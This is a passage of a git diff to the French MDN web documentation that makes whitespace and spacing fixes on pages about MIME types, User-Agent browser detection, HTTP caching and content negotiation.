sur l'iPhone, ils/elles doivent ajouter une valeur `maximum-scale` pour empêcher ce zoom, ce qui a l'effet secondaire parfois indésirable d'empêcher les utilisateurs/utilisatrices de faire un zoom avant : ```html <meta name="viewport" content="initial-scale=1, maximum-scale=1"> diff --git a/files/fr/web/http/basics_of_http/mime_types/index.md b/files/fr/web/http/basics_of_http/mime_types/index.md index 68fc3c23e8..ee3fcec41d 100644 --- a/files/fr/web/http/basics_of_http/mime_types/index.md +++ b/files/fr/web/http/basics_of_http/mime_types/index.md @@ -262,7 +262,7 @@ Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document : - Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document. -- Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit \[GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit \[.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible. +- Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit \[GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit \[.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible. ## Voir aussi diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.md b/files/fr/web/http/browser_detection_using_the_user_agent/index.md index e6adc3710d..c837916e17 100644 --- a/files/fr/web/http/browser_detection_using_the_user_agent/index.md +++ b/files/fr/web/http/browser_detection_using_the_user_agent/index.md @@ -46,9 +46,9 @@ C'est la partie difficile, puisque les différentes sections de la chaîne User- ### Nom du navigateur -Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page. +Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page. -La plupart des navigateurs notent leur nom et version suivant le format _NomDuNavigateur/NuméroDeVersion_, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox. +La plupart des navigateurs notent leur nom et version suivant le format _NomDuNavigateur/NuméroDeVersion_, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox. Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko". @@ -66,25 +66,25 @@ Faites aussi attention à ne pas utiliser une expression régulière trop simple <td>Firefox</td> <td>Firefox/xyz</td> <td>Seamonkey/xyz</td> - <td> </td> + <td></td> </tr> <tr> <td>Seamonkey</td> <td>Seamonkey/xyz</td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> <tr> <td>Chrome</td> <td>Chrome/xyz</td> <td>Chromium/xyz</td> - <td> </td> + <td></td> </tr> <tr> <td>Chromium</td> <td>Chromium/xyz</td> - <td> </td> - <td> </td> + <td></td> + <td></td> </tr> <tr> <td>Safari</td> @@ -101,7 +101,7 @@ Faites aussi attention à ne pas utiliser une expression régulière trop simple <p>OPR/xyz></p> <p>Opera/xyz</p> </td> - <td> </td> + <td></td> <td> <p>Opera 15+ (moteur de rendu Blink)</p> <p>Opera 12- (moteur de rendu Presto)</p> @@ -110,7 +110,7 @@ Faites aussi attention à ne pas utiliser une expression régulière trop simple <tr> <td>Internet Explorer</td> <td>;MSIE xyz;</td> - <td> </td> + <td></td> <td> Internet Explorer n'utilise pas le format <em>NomDuNavigateur/NuméroDeVersion</em> @@ -129,17 +129,17 @@ Encore une fois, assurez vous de regarder au bon endroit selon le navigateur vis ### Moteur de rendu -Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre. +Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre. -Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu. +Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu. | Moteur | Doit contenir | Ne doit pas contenir | | ------- | --------------- | --------------------------------------------------------------------------------------------------------------- | -| Gecko | Gecko/xyz | | -| WebKit | AppleWebKit/xyz | Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs | -| Presto | Opera/xyz | **Note :** Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink") | +| Gecko | Gecko/xyz | | +| WebKit | AppleWebKit/xyz | Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs | +| Presto | Opera/xyz | **Note :** Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink") | | Trident | Trident/xyz | Internet Explorer place cette chaîne dans la partie _commentaire_ du User-Agent | -| Blink | Chrome/xyz | | +| Blink | Chrome/xyz | | ## Version du moteur de rendu @@ -158,7 +158,7 @@ La raison la plus courante de détecter le User-Agent et de déterminer sur quel - Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur. - N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones). -Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile : +Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile : <table> <caption> diff --git a/files/fr/web/http/caching/index.md b/files/fr/web/http/caching/index.md index 358b471864..2c0657fd30 100644 --- a/files/fr/web/http/caching/index.md +++ b/files/fr/web/http/caching/index.md @@ -14,28 +14,28 @@ Les performances des sites et applications web peuvent être significativement a ## Différents types de caches -La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps. +La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps. -Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un _cache partagé_ est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un _cache privé_ est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web. +Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un _cache partagé_ est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un _cache privé_ est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.  ### Caches de navigateur privés -Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via [HTTP](/fr/docs/Web/HTTP "en/HTTP") par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache. +Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via [HTTP](/fr/docs/Web/HTTP "en/HTTP") par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache. ### Caches de proxy partagés Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence. -## Cibles des opérations de cache +## Cibles des opérations de cache -La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache : +La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache : - Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier. -- Redirection permanente : une réponse {{HTTPStatus(301)}} _(Moved Permanently)._ -- Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} _(Not Found)_. -- Résultat incomplet : une réponse {{HTTPStatus(206)}} _(Partial Content)_. +- Redirection permanente : une réponse {{HTTPStatus(301)}} _(Moved Permanently)._ +- Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} _(Not Found)_. +- Résultat incomplet : une réponse {{HTTPStatus(206)}} _(Partial Content)_. - Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache. Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} [ci-dessous](#Varying_responses). @@ -44,7 +44,7 @@ Une entrée de cache peut aussi consister en de multiples réponses stockées di ### L'en-tête Cache-control -Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies. +Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies. #### Pas du tout de cache mémoire @@ -70,13 +70,13 @@ La directive "public" indique que la réponse peut être mise en cache par n'imp La directive la plus importante ici est "max-age = \<secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple. -Pour plus de détails, voir aussi la section [Freshness](#Freshness) ci-dessous.. +Pour plus de détails, voir aussi la section [Freshness](#Freshness) ci-dessous.. Cache-Control: max-age=31536000 #### Validation -Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section [Validation](#Cache_validation) ci-dessous. +Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section [Validation](#Cache_validation) ci-dessous. Cache-Control: must-revalidate @@ -86,13 +86,13 @@ Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier ## Fraîcheur (Freshness) -Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("_cache eviction"_). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour. Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness); Aprés son expiration, elle est considérée périmée (_stale_). Les algoritmes d'éviction privilégient souvent les ressources fraîches. Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante. +Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("_cache eviction"_). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour. Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness); Aprés son expiration, elle est considérée périmée (_stale_). Les algoritmes d'éviction privilégient souvent les ressources fraîches. Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante. Ici un exemple de ce processus avec un cache de proxy partagé :  -Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "`Cache-control: max-age=N`" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas), on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce `Expires` existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête `Date` moins la valeur de l'en-tête `Last-modified` divisée par 10. +Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "`Cache-control: max-age=N`" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas), on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce `Expires` existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête `Date` moins la valeur de l'en-tête `Last-modified` divisée par 10. Le temps d'expiration s'organise comme ceci : @@ -102,43 +102,43 @@ Où `responseTime` est le moment auquel a été reçue la réponse selon le navi ### Ressources revues et corrigées -Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web. Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur. C'est possible avec des ressources mises à jour régulièrement ou très souvent mais ça devient problématique pour les ressources mises à jour très rarement. Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web : les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite. +Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web. Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur. C'est possible avec des ressources mises à jour régulièrement ou très souvent mais ça devient problématique pour les ressources mises à jour très rarement. Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web : les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite. -Les développeurs Web ont inventé une technique que Steve Sounders a appelée _revving_ ([source](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration très éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web. Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi. +Les développeurs Web ont inventé une technique que Steve Sounders a appelée _revving_ ([source](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration très éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web. Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi. Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est très important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.  -La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme 1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date. +La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme 1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date. ## Validation de cache -La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête "`Cache-control: must-revalidate`". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans `Advanced->Cache`. Il y a une option pour forcer la validation chaque fois qu'un document est chargé. +La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête "`Cache-control: must-revalidate`". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans `Advanced->Cache`. Il y a une option pour forcer la validation chaque fois qu'un document est chargé. Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort _(strong validator_) soit un faible (_weak validator_). ### ETags -L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "*opaque-to-the-user agent"* qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête `ETag` est une partie de la réponse pour une ressource, le client peut délivrer un {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache. +L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "*opaque-to-the-user agent"* qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête `ETag` est une partie de la réponse pour une ressource, le client peut délivrer un {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache. -L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête `Last-Modified` est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache. +L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête `Last-Modified` est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache. -Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal {{HTTPStatus(200)}} `OK`, ou bien retourner un statut {{HTTPStatus(304)}} `Not Modified` (avec un corps de réponse vide) pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache. +Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal {{HTTPStatus(200)}} `OK`, ou bien retourner un statut {{HTTPStatus(304)}} `Not Modified` (avec un corps de réponse vide) pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache. ## Varier les réponses -L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine. +L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine. -Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête `Vary` il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête `Vary` ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête. +Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête `Vary` il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête `Vary` ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.  -Cela peut être très utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête `Vary: User-Agent`, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" ([Cloaking](https://en.wikipedia.org/wiki/Cloaking)) n'est à craindre. +Cela peut être très utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête `Vary: User-Agent`, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" ([Cloaking](https://en.wikipedia.org/wiki/Cloaking)) n'est à craindre. Vary: User-Agent -Parce que la valeur d'en-tête {{HTTPHeader("User-Agent")}} est différente ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa. +Parce que la valeur d'en-tête {{HTTPHeader("User-Agent")}} est différente ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa. ## Voir aussi diff --git a/files/fr/web/http/content_negotiation/index.md b/files/fr/web/http/content_negotiation/index.md index 6099ac2b69..bc19e98507 100644 --- a/files/fr/web/http/content_negotiation/index.md +++ b/files/fr/web/http/content_negotiation/index.md @@ -42,17 +42,17 @@ The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of [default values for common browsers](/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values) is available. -### The `Accept-CH` header {{experimental_inline}} +### The `Accept-CH` header {{experimental_inline}} > **Note :** This is part of an **experimental** technology called _Client Hints_. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later. -The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are: +The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are: | Value | Meaning | | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`. | +| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`. | | `DPR` | Indicates the client's device pixel ratio. | -| `Viewport-Width` | Indicates the layout viewport width in CSS pixels. | +| `Viewport-Width` | Indicates the layout viewport width in CSS pixels. | | `Width` | Indicates the resource width in physical pixels (in other words the intrinsic size of an image). | ### The `Accept-Charset` header @@ -63,7 +63,7 @@ With UTF-8 now being well-supported, being the preferred way of encoding charact ### The `Accept-CH-Lifetime` header -> **Note :** This is part of an **experimental** technology called *Client Hints* and is only available in Chrome 61 or later. +> **Note :** This is part of an **experimental** technology called *Client Hints* and is only available in Chrome 61 or later. The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the `Device-Memory` value of the `Accept-CH` header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional. 